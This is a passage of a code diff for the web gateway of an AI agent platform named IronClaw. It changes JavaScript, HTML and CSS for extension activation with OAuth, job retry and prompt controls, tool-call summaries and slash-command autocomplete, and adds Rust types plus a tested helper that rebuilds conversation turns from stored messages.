activeLabel.textContent = ext.active ? 'Active' : 'Installed';
|
||||
actions.appendChild(activeLabel);
|
||||
|
||||
// MCP servers may be installed but inactive — show Activate button
|
||||
if (ext.kind === 'mcp_server' && !ext.active) {
|
||||
const activateBtn = document.createElement('button');
|
||||
activateBtn.className = 'btn-ext activate';
|
||||
activateBtn.textContent = 'Activate';
|
||||
activateBtn.addEventListener('click', () => activateExtension(ext.name));
|
||||
actions.appendChild(activateBtn);
|
||||
} else {
|
||||
const activeLabel = document.createElement('span');
|
||||
activeLabel.className = 'ext-active-label';
|
||||
activeLabel.textContent = 'Active';
|
||||
actions.appendChild(activeLabel);
|
||||
}
|
||||
|
||||
if (ext.needs_setup) {
|
||||
if (ext.needs_setup || ext.has_auth) {
|
||||
const configBtn = document.createElement('button');
|
||||
configBtn.className = 'btn-ext configure';
|
||||
configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure';
|
||||
@@ -1847,6 +2020,11 @@ function activateExtension(name) {
|
||||
apiFetch('/api/extensions/' + encodeURIComponent(name) + '/activate', { method: 'POST' })
|
||||
.then((res) => {
|
||||
if (res.success) {
|
||||
// Even on success, the tool may need OAuth (e.g., WASM loaded but no token yet)
|
||||
if (res.auth_url) {
|
||||
showToast('Opening authentication for ' + name, 'info');
|
||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
||||
}
|
||||
loadExtensions();
|
||||
return;
|
||||
}
|
||||
@@ -1938,7 +2116,8 @@ function renderConfigureModal(name, secrets) {
|
||||
if (secret.provided) {
|
||||
const badge = document.createElement('span');
|
||||
badge.className = 'field-provided';
|
||||
badge.textContent = 'Set';
|
||||
badge.textContent = '\u2713';
|
||||
badge.title = 'Already configured';
|
||||
inputRow.appendChild(badge);
|
||||
}
|
||||
if (secret.auto_generate && !secret.provided) {
|
||||
@@ -1996,14 +2175,14 @@ function submitConfigureModal(name, fields) {
|
||||
.then((res) => {
|
||||
closeConfigureModal();
|
||||
if (res.success) {
|
||||
if (res.activated && name === 'telegram') {
|
||||
showToast('Configured and activated ' + name, 'success');
|
||||
if (res.auth_url) {
|
||||
// OAuth flow started — open consent popup
|
||||
showToast('Opening OAuth authorization for ' + name, 'info');
|
||||
window.open(res.auth_url, '_blank', 'width=600,height=700');
|
||||
} else if (res.activated) {
|
||||
showToast('Configured ' + name + ' successfully', 'success');
|
||||
} else if (res.needs_restart) {
|
||||
showToast('Configured ' + name + '. Restart required to activate.', 'info');
|
||||
showToast('Configured and activated ' + name, 'success');
|
||||
} else {
|
||||
showToast(res.message, 'success');
|
||||
showToast(res.message || 'Configuration saved but activation failed', 'warning');
|
||||
}
|
||||
} else {
|
||||
showToast(res.message || 'Configuration failed', 'error');
|
||||
@@ -2067,7 +2246,7 @@ function approvePairing(channel, code, container) {
|
||||
}).then(res => {
|
||||
if (res.success) {
|
||||
showToast('Pairing approved', 'success');
|
||||
loadPairingRequests(channel, container);
|
||||
loadExtensions();
|
||||
} else {
|
||||
showToast(res.message || 'Approve failed', 'error');
|
||||
}
|
||||
@@ -2090,53 +2269,6 @@ function stopPairingPoll() {
|
||||
}
|
||||
}
|
||||
|
||||
// --- Gateway restart ---
|
||||
|
||||
function restartGateway() {
|
||||
if (!confirm('Restart IronClaw gateway? Active connections will be dropped.')) return;
|
||||
|
||||
apiFetch('/api/gateway/restart', { method: 'POST' })
|
||||
.then(function() {
|
||||
showRestartOverlay();
|
||||
})
|
||||
.catch(function() {
|
||||
showRestartOverlay();
|
||||
});
|
||||
}
|
||||
|
||||
function showRestartOverlay() {
|
||||
var overlay = document.createElement('div');
|
||||
overlay.className = 'restart-overlay';
|
||||
overlay.innerHTML = '<div class="restart-message">'
|
||||
+ '<div class="restart-spinner"></div>'
|
||||
+ '<h2>Restarting IronClaw...</h2>'
|
||||
+ '<p>Waiting for server to come back online</p>'
|
||||
+ '</div>';
|
||||
document.body.appendChild(overlay);
|
||||
|
||||
var pollCount = 0;
|
||||
var pollTimer = setInterval(function() {
|
||||
pollCount++;
|
||||
if (pollCount > 30) { // 60 seconds
|
||||
clearInterval(pollTimer);
|
||||
overlay.querySelector('h2').textContent = 'Restart timed out';
|
||||
overlay.querySelector('p').textContent = 'Server did not come back within 60 seconds. Check logs.';
|
||||
overlay.querySelector('.restart-spinner').style.display = 'none';
|
||||
return;
|
||||
}
|
||||
fetch('/api/gateway/status', {
|
||||
headers: { 'Authorization': 'Bearer ' + token },
|
||||
})
|
||||
.then(function(r) {
|
||||
if (r.ok) {
|
||||
clearInterval(pollTimer);
|
||||
window.location.reload();
|
||||
}
|
||||
})
|
||||
.catch(function() { /* still restarting */ });
|
||||
}, 2000);
|
||||
}
|
||||
|
||||
// --- WASM channel stepper ---
|
||||
|
||||
function renderWasmChannelStepper(ext) {
|
||||
@@ -2144,23 +2276,17 @@ function renderWasmChannelStepper(ext) {
|
||||
stepper.className = 'ext-stepper';
|
||||
|
||||
var status = ext.activation_status || 'installed';
|
||||
var isTelegram = ext.name === 'telegram';
|
||||
|
||||
// Telegram gets a 3-step stepper (Installed → Configured → Active/Pairing).
|
||||
// Other channels only get 2 steps (Installed → Configured) since full
|
||||
// integration isn't available in the web UI yet.
|
||||
var steps = [
|
||||
{ label: 'Installed', key: 'installed' },
|
||||
{ label: 'Configured', key: 'configured' },
|
||||
{ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' },
|
||||
];
|
||||
if (isTelegram) {
|
||||
steps.push({ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' });
|
||||
}
|
||||
|
||||
var reachedIdx;
|
||||
if (status === 'active') reachedIdx = isTelegram ? 2 : 1;
|
||||
if (status === 'active') reachedIdx = 2;
|
||||
else if (status === 'pairing') reachedIdx = 2;
|
||||
else if (status === 'failed') reachedIdx = isTelegram ? 2 : 1;
|
||||
else if (status === 'failed') reachedIdx = 2;
|
||||
else if (status === 'configured') reachedIdx = 1;
|
||||
else reachedIdx = 0;
|
||||
|
||||
@@ -2271,9 +2397,8 @@ function renderJobsList(jobs) {
|
||||
let actionBtns = '';
|
||||
if (job.state === 'pending' || job.state === 'in_progress') {
|
||||
actionBtns = '<button class="btn-cancel" onclick="event.stopPropagation(); cancelJob(\'' + job.id + '\')">Cancel</button>';
|
||||
} else if (job.state === 'failed' || job.state === 'interrupted') {
|
||||
actionBtns = '<button class="btn-restart" onclick="event.stopPropagation(); restartJob(\'' + job.id + '\')">Restart</button>';
|
||||
}
|
||||
// Retry is only shown in the detail view where can_restart is available.
|
||||
|
||||
return '<tr class="job-row" onclick="openJobDetail(\'' + job.id + '\')">'
|
||||
+ '<td title="' + escapeHtml(job.id) + '">' + shortId + '</td>'
|
||||
@@ -2340,8 +2465,8 @@ function renderJobDetail(job) {
|
||||
+ '<h2>' + escapeHtml(job.title) + '</h2>'
|
||||
+ '<span class="badge ' + stateClass + '">' + escapeHtml(job.state) + '</span>';
|
||||
|
||||
if (job.state === 'failed' || job.state === 'interrupted') {
|
||||
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Restart</button>';
|
||||
if ((job.state === 'failed' || job.state === 'interrupted') && job.can_restart === true) {
|
||||
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Retry</button>';
|
||||
}
|
||||
if (job.browse_url) {
|
||||
headerHtml += '<a class="btn-browse" href="' + escapeHtml(job.browse_url) + '" target="_blank">Browse Files</a>';
|
||||
@@ -2588,7 +2713,7 @@ function renderJobActivity(container, job) {
|
||||
activityCurrentJobId = job ? job.id : null;
|
||||
activityRenderedLiveIndex = 0;
|
||||
|
||||
container.innerHTML = '<div class="activity-toolbar">'
|
||||
let html = '<div class="activity-toolbar">'
|
||||
+ '<select id="activity-type-filter">'
|
||||
+ '<option value="all">All Events</option>'
|
||||
+ '<option value="message">Messages</option>'
|
||||
@@ -2597,12 +2722,17 @@ function renderJobActivity(container, job) {
|
||||
+ '</select>'
|
||||
+ '<label class="logs-checkbox"><input type="checkbox" id="activity-autoscroll" checked> Auto-scroll</label>'
|
||||
+ '</div>'
|
||||
+ '<div class="activity-terminal" id="activity-terminal"></div>'
|
||||
+ '<div class="activity-input-bar" id="activity-input-bar">'
|
||||
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
|
||||
+ '<button id="activity-send-btn">Send</button>'
|
||||
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
|
||||
+ '</div>';
|
||||
+ '<div class="activity-terminal" id="activity-terminal"></div>';
|
||||
|
||||
if (job && job.can_prompt === true) {
|
||||
html += '<div class="activity-input-bar" id="activity-input-bar">'
|
||||
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
|
||||
+ '<button id="activity-send-btn">Send</button>'
|
||||
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
|
||||
+ '</div>';
|
||||
}
|
||||
|
||||
container.innerHTML = html;
|
||||
|
||||
document.getElementById('activity-type-filter').addEventListener('change', applyActivityFilter);
|
||||
|
||||
@@ -2611,9 +2741,9 @@ function renderJobActivity(container, job) {
|
||||
const sendBtn = document.getElementById('activity-send-btn');
|
||||
const doneBtn = document.getElementById('activity-done-btn');
|
||||
|
||||
sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
|
||||
doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
|
||||
input.addEventListener('keydown', (e) => {
|
||||
if (sendBtn) sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
|
||||
if (doneBtn) doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
|
||||
if (input) input.addEventListener('keydown', (e) => {
|
||||
if (e.key === 'Enter') sendJobPrompt(job.id, false);
|
||||
});
|
||||
|
||||
@@ -2900,7 +3030,11 @@ function renderRoutineDetail(routine) {
|
||||
|
||||
function triggerRoutine(id) {
|
||||
apiFetch('/api/routines/' + id + '/trigger', { method: 'POST' })
|
||||
.then(() => showToast('Routine triggered', 'success'))
|
||||
.then(() => {
|
||||
showToast('Routine triggered', 'success');
|
||||
if (currentRoutineId === id) openRoutineDetail(id);
|
||||
else loadRoutines();
|
||||
})
|
||||
.catch((err) => showToast('Trigger failed: ' + err.message, 'error'));
|
||||
}
|
||||
|
||||
@@ -3450,7 +3584,7 @@ function formatTimeAgo(epochMs) {
|
||||
}
|
||||
|
||||
function installSkill(nameOrSlug, url, btn) {
|
||||
var body = { name: nameOrSlug };
|
||||
var body = { name: nameOrSlug, slug: nameOrSlug };
|
||||
if (url) body.url = url;
|
||||
|
||||
apiFetch('/api/skills/install', {
|
||||
@@ -3541,8 +3675,13 @@ document.addEventListener('keydown', (e) => {
|
||||
return;
|
||||
}
|
||||
|
||||
// Escape: close job detail or blur input
|
||||
// Escape: close autocomplete, job detail, or blur input
|
||||
if (e.key === 'Escape') {
|
||||
const acEl = document.getElementById('slash-autocomplete');
|
||||
if (acEl && acEl.style.display !== 'none') {
|
||||
hideSlashAutocomplete();
|
||||
return;
|
||||
}
|
||||
if (currentJobId) {
|
||||
closeJobDetail();
|
||||
} else if (inInput) {
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
|
||||
<title>IronClaw</title>
|
||||
<link rel="icon" href="/favicon.ico" type="image/x-icon">
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
@@ -78,9 +78,9 @@
|
||||
</div>
|
||||
<div class="chat-container">
|
||||
<div class="chat-messages" id="chat-messages"></div>
|
||||
<div class="chat-status" id="chat-status"></div>
|
||||
<div id="slash-autocomplete" class="slash-autocomplete" style="display:none"></div>
|
||||
<div class="chat-input">
|
||||
<textarea id="chat-input" placeholder="Type a message..." rows="1"></textarea>
|
||||
<textarea id="chat-input" placeholder="Message or / for commands..." rows="1"></textarea>
|
||||
<button id="send-btn" onclick="sendMessage()">Send</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -30,6 +30,7 @@ body {
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
height: 100vh;
|
||||
height: 100dvh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden;
|
||||
@@ -41,6 +42,7 @@ body {
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
height: 100dvh;
|
||||
}
|
||||
|
||||
.auth-card-login {
|
||||
@@ -141,6 +143,7 @@ body {
|
||||
display: none;
|
||||
flex-direction: column;
|
||||
height: 100vh;
|
||||
height: 100dvh;
|
||||
}
|
||||
|
||||
/* Tab Bar */
|
||||
@@ -458,31 +461,6 @@ body {
|
||||
.message th { background: var(--bg-tertiary); }
|
||||
|
||||
/* Status bar */
|
||||
.chat-status {
|
||||
padding: 6px 16px;
|
||||
font-size: 12px;
|
||||
color: var(--text-secondary);
|
||||
border-top: 1px solid var(--border);
|
||||
background: var(--bg-secondary);
|
||||
min-height: 28px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.chat-status .spinner {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
border: 2px solid var(--border);
|
||||
border-top-color: var(--accent);
|
||||
border-radius: 50%;
|
||||
animation: spin 0.6s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
|
||||
.scroll-load-spinner {
|
||||
display: flex;
|
||||
@@ -833,6 +811,75 @@ body {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/* Tool calls summary (persisted between user/assistant messages) */
|
||||
.tool-calls-summary {
|
||||
background: var(--bg-secondary);
|
||||
border-left: 3px solid var(--warning);
|
||||
padding: 6px 12px;
|
||||
margin: 4px 0;
|
||||
font-size: 0.85em;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.tool-calls-header {
|
||||
color: var(--text-secondary);
|
||||
font-weight: 500;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.tool-calls-header::before {
|
||||
content: '\25B6';
|
||||
display: inline-block;
|
||||
margin-right: 6px;
|
||||
font-size: 0.7em;
|
||||
transition: transform 0.15s;
|
||||
}
|
||||
|
||||
.tool-calls-header.expanded::before {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
.tool-calls-list {
|
||||
margin-top: 6px;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.tool-calls-list.expanded {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.tool-call-item {
|
||||
padding: 3px 0;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.tool-call-item:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.tool-call-name {
|
||||
font-weight: 500;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.tool-call-preview {
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.9em;
|
||||
max-height: 60px;
|
||||
overflow: hidden;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.tool-call-error-text {
|
||||
color: var(--danger);
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.tool-error .tool-call-name {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
/* Auth card (inline in chat) */
|
||||
.auth-card {
|
||||
align-self: flex-start;
|
||||
@@ -943,7 +990,7 @@ body {
|
||||
/* Chat input */
|
||||
.chat-input {
|
||||
display: flex;
|
||||
padding: 12px 16px;
|
||||
padding: 12px 16px max(12px, env(safe-area-inset-bottom)) 16px;
|
||||
gap: 8px;
|
||||
background: var(--bg-secondary);
|
||||
border-top: 1px solid var(--border);
|
||||
@@ -1764,6 +1811,7 @@ body {
|
||||
.job-files {
|
||||
display: flex;
|
||||
height: calc(100vh - 280px);
|
||||
height: calc(100dvh - 280px);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
overflow: hidden;
|
||||
@@ -2268,43 +2316,6 @@ body {
|
||||
margin-top: 6px;
|
||||
}
|
||||
|
||||
/* Restart overlay */
|
||||
.restart-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0, 0, 0, 0.8);
|
||||
z-index: 2000;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.restart-message {
|
||||
text-align: center;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.restart-message h2 {
|
||||
margin: 16px 0 8px;
|
||||
}
|
||||
|
||||
.restart-message p {
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.restart-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 3px solid var(--border);
|
||||
border-top-color: var(--accent);
|
||||
border-radius: 50%;
|
||||
animation: spin 0.8s linear infinite;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
@@ -3382,3 +3393,44 @@ mark {
|
||||
width: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
/* Slash command autocomplete dropdown */
|
||||
.slash-autocomplete {
|
||||
position: relative;
|
||||
background: var(--bg-secondary);
|
||||
border-top: 1px solid var(--border);
|
||||
border-bottom: none;
|
||||
max-height: 220px;
|
||||
overflow-y: auto;
|
||||
z-index: 50;
|
||||
}
|
||||
|
||||
.slash-ac-item {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 10px;
|
||||
padding: 7px 16px;
|
||||
cursor: pointer;
|
||||
transition: background 0.1s;
|
||||
}
|
||||
|
||||
.slash-ac-item:hover,
|
||||
.slash-ac-item.selected {
|
||||
background: var(--bg-tertiary);
|
||||
}
|
||||
|
||||
.slash-ac-cmd {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 13px;
|
||||
color: var(--accent);
|
||||
white-space: nowrap;
|
||||
min-width: 130px;
|
||||
}
|
||||
|
||||
.slash-ac-desc {
|
||||
font-size: 12px;
|
||||
color: var(--text-secondary);
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
@@ -55,6 +55,10 @@ pub struct ToolCallInfo {
|
||||
pub name: String,
|
||||
pub has_result: bool,
|
||||
pub has_error: bool,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub result_preview: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
@@ -67,6 +71,21 @@ pub struct HistoryResponse {
|
||||
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub oldest_timestamp: Option<String>,
|
||||
/// Pending tool approval that needs user action (re-rendered on thread switch).
|
||||
///
|
||||
/// Only populated from in-memory state; not persisted to DB.
|
||||
/// Server restart clears pending approvals.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub pending_approval: Option<PendingApprovalInfo>,
|
||||
}
|
||||
|
||||
/// Lightweight DTO for a pending tool approval (excludes context_messages).
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct PendingApprovalInfo {
|
||||
pub request_id: String,
|
||||
pub tool_name: String,
|
||||
pub description: String,
|
||||
pub parameters: String,
|
||||
}
|
||||
|
||||
// --- Approval ---
|
||||
@@ -313,6 +332,15 @@ pub struct JobDetailResponse {
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub job_mode: Option<String>,
|
||||
pub transitions: Vec<TransitionInfo>,
|
||||
/// Whether this job can be restarted from the UI.
|
||||
#[serde(default)]
|
||||
pub can_restart: bool,
|
||||
/// Whether follow-up prompts can be sent to this job.
|
||||
#[serde(default)]
|
||||
pub can_prompt: bool,
|
||||
/// The kind of job: "sandbox" or "agent".
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub job_kind: Option<String>,
|
||||
}
|
||||
|
||||
// --- Project Files ---
|
||||
@@ -348,6 +376,8 @@ pub struct TransitionInfo {
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct ExtensionInfo {
|
||||
pub name: String,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub display_name: Option<String>,
|
||||
pub kind: String,
|
||||
pub description: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
@@ -358,6 +388,9 @@ pub struct ExtensionInfo {
|
||||
/// Whether this extension has configurable secrets (setup schema).
|
||||
#[serde(default)]
|
||||
pub needs_setup: bool,
|
||||
/// Whether this extension has an auth configuration (OAuth or manual token).
|
||||
#[serde(default)]
|
||||
pub has_auth: bool,
|
||||
/// WASM channel activation status: "installed", "configured", "active", "failed".
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub activation_status: Option<String>,
|
||||
@@ -430,9 +463,6 @@ pub struct ActionResponse {
|
||||
/// Whether the channel was successfully activated after setup.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub activated: Option<bool>,
|
||||
/// Whether a gateway restart is needed (activation failed).
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub needs_restart: Option<bool>,
|
||||
}
|
||||
|
||||
impl ActionResponse {
|
||||
@@ -444,7 +474,6 @@ impl ActionResponse {
|
||||
awaiting_token: None,
|
||||
instructions: None,
|
||||
activated: None,
|
||||
needs_restart: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -456,7 +485,6 @@ impl ActionResponse {
|
||||
awaiting_token: None,
|
||||
instructions: None,
|
||||
activated: None,
|
||||
needs_restart: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -541,6 +569,9 @@ pub struct SkillSearchResponse {
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct SkillInstallRequest {
|
||||
pub name: String,
|
||||
/// Registry slug (e.g. "owner/skill-name"). Preferred over `name` for
|
||||
/// constructing the download URL when fetching from ClawHub.
|
||||
pub slug: Option<String>,
|
||||
pub url: Option<String>,
|
||||
pub content: Option<String>,
|
||||
}
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
//! Shared utility functions for the web gateway.
|
||||
|
||||
use crate::channels::web::types::{ToolCallInfo, TurnInfo};
|
||||
|
||||
/// Truncate a string to at most `max_bytes` bytes at a char boundary, appending "...".
|
||||
pub fn truncate_preview(s: &str, max_bytes: usize) -> String {
|
||||
if s.len() <= max_bytes {
|
||||
return s.to_string();
|
||||
}
|
||||
// Walk backwards from max_bytes to find a valid char boundary
|
||||
let mut end = max_bytes;
|
||||
while end > 0 && !s.is_char_boundary(end) {
|
||||
end -= 1;
|
||||
}
|
||||
format!("{}...", &s[..end])
|
||||
}
|
||||
|
||||
/// Build TurnInfo pairs from flat DB messages (user/tool_calls/assistant triples).
|
||||
///
|
||||
/// Handles three message patterns:
|
||||
/// - `user → assistant` (legacy, no tool calls)
|
||||
/// - `user → tool_calls → assistant` (with persisted tool call summaries)
|
||||
/// - `user` alone (incomplete turn)
|
||||
pub fn build_turns_from_db_messages(
|
||||
messages: &[crate::history::ConversationMessage],
|
||||
) -> Vec<TurnInfo> {
|
||||
let mut turns = Vec::new();
|
||||
let mut turn_number = 0;
|
||||
let mut iter = messages.iter().peekable();
|
||||
|
||||
while let Some(msg) = iter.next() {
|
||||
if msg.role == "user" {
|
||||
let mut turn = TurnInfo {
|
||||
turn_number,
|
||||
user_input: msg.content.clone(),
|
||||
response: None,
|
||||
state: "Completed".to_string(),
|
||||
started_at: msg.created_at.to_rfc3339(),
|
||||
completed_at: None,
|
||||
tool_calls: Vec::new(),
|
||||
};
|
||||
|
||||
// Check if next message is a tool_calls record
|
||||
if let Some(next) = iter.peek()
|
||||
&& next.role == "tool_calls"
|
||||
{
|
||||
let tc_msg = iter.next().expect("peeked");
|
||||
match serde_json::from_str::<Vec<serde_json::Value>>(&tc_msg.content) {
|
||||
Ok(calls) => {
|
||||
turn.tool_calls = calls
|
||||
.iter()
|
||||
.map(|c| ToolCallInfo {
|
||||
name: c["name"].as_str().unwrap_or("unknown").to_string(),
|
||||
has_result: c.get("result_preview").is_some(),
|
||||
has_error: c.get("error").is_some(),
|
||||
result_preview: c["result_preview"].as_str().map(String::from),
|
||||
error: c["error"].as_str().map(String::from),
|
||||
})
|
||||
.collect();
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
message_id = %tc_msg.id,
|
||||
"Malformed tool_calls JSON in DB, skipping: {e}"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if next message is an assistant response
|
||||
if let Some(next) = iter.peek()
|
||||
&& next.role == "assistant"
|
||||
{
|
||||
let assistant_msg = iter.next().expect("peeked");
|
||||
turn.response = Some(assistant_msg.content.clone());
|
||||
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
|
||||
}
|
||||
|
||||
// Incomplete turn (user message without response)
|
||||
if turn.response.is_none() {
|
||||
turn.state = "Failed".to_string();
|
||||
}
|
||||
|
||||
turns.push(turn);
|
||||
turn_number += 1;
|
||||
}
|
||||
}
|
||||
|
||||
turns
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use uuid::Uuid;
|
||||
|
||||
// ---- truncate_preview tests ----
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_short_string() {
|
||||
assert_eq!(truncate_preview("hello", 10), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_exact_boundary() {
|
||||
assert_eq!(truncate_preview("hello", 5), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_truncates_ascii() {
|
||||
assert_eq!(truncate_preview("hello world", 5), "hello...");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_empty_string() {
|
||||
assert_eq!(truncate_preview("", 10), "");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_multibyte_char_boundary() {
|
||||
// '€' is 3 bytes (E2 82 AC). "a€b" = [61, E2, 82, AC, 62] = 5 bytes
|
||||
// Truncating at max_bytes=3 should not split the euro sign.
|
||||
let s = "a€b";
|
||||
let result = truncate_preview(s, 3);
|
||||
// max_bytes=3 lands mid-€, so it walks back to byte 1 ("a")
|
||||
assert_eq!(result, "a...");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_emoji() {
|
||||
// '🦀' is 4 bytes. "hi🦀" = 6 bytes
|
||||
let s = "hi🦀";
|
||||
let result = truncate_preview(s, 4);
|
||||
// max_bytes=4 lands mid-🦀, walks back to byte 2 ("hi")
|
||||
assert_eq!(result, "hi...");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_cjk() {
|
||||
// CJK characters are 3 bytes each. "你好世界" = 12 bytes
|
||||
let s = "你好世界";
|
||||
let result = truncate_preview(s, 7);
|
||||
// max_bytes=7 lands mid-character (byte 7 is inside 世), walks back to 6 ("你好")
|
||||
assert_eq!(result, "你好...");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_truncate_preview_zero_max_bytes() {
|
||||
assert_eq!(truncate_preview("hello", 0), "...");
|
||||
}
|
||||
|
||||
// ---- build_turns_from_db_messages tests ----
|
||||
|
||||
fn make_msg(role: &str, content: &str, offset_ms: i64) -> crate::history::ConversationMessage {
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: role.to_string(),
|
||||
content: content.to_string(),
|
||||
created_at: chrono::Utc::now() + chrono::TimeDelta::milliseconds(offset_ms),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_complete() {
|
||||
let messages = vec![
|
||||
make_msg("user", "Hello", 0),
|
||||
make_msg("assistant", "Hi!", 1000),
|
||||
make_msg("user", "How?", 2000),
|
||||
make_msg("assistant", "Good", 3000),
|
||||
];
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 2);
|
||||
assert_eq!(turns[0].user_input, "Hello");
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
|
||||
assert_eq!(turns[0].state, "Completed");
|
||||
assert_eq!(turns[1].user_input, "How?");
|
||||
assert_eq!(turns[1].response.as_deref(), Some("Good"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_incomplete() {
|
||||
let messages = vec![make_msg("user", "Hello", 0)];
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert!(turns[0].response.is_none());
|
||||
assert_eq!(turns[0].state, "Failed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_with_tool_calls() {
|
||||
let tc_json = serde_json::json!([
|
||||
{"name": "shell", "result_preview": "output"},
|
||||
{"name": "http", "error": "timeout"}
|
||||
]);
|
||||
let messages = vec![
|
||||
make_msg("user", "Run it", 0),
|
||||
make_msg("tool_calls", &tc_json.to_string(), 500),
|
||||
make_msg("assistant", "Done", 1000),
|
||||
];
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert_eq!(turns[0].tool_calls.len(), 2);
|
||||
assert_eq!(turns[0].tool_calls[0].name, "shell");
|
||||
assert!(turns[0].tool_calls[0].has_result);
|
||||
assert_eq!(turns[0].tool_calls[1].name, "http");
|
||||
assert!(turns[0].tool_calls[1].has_error);
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
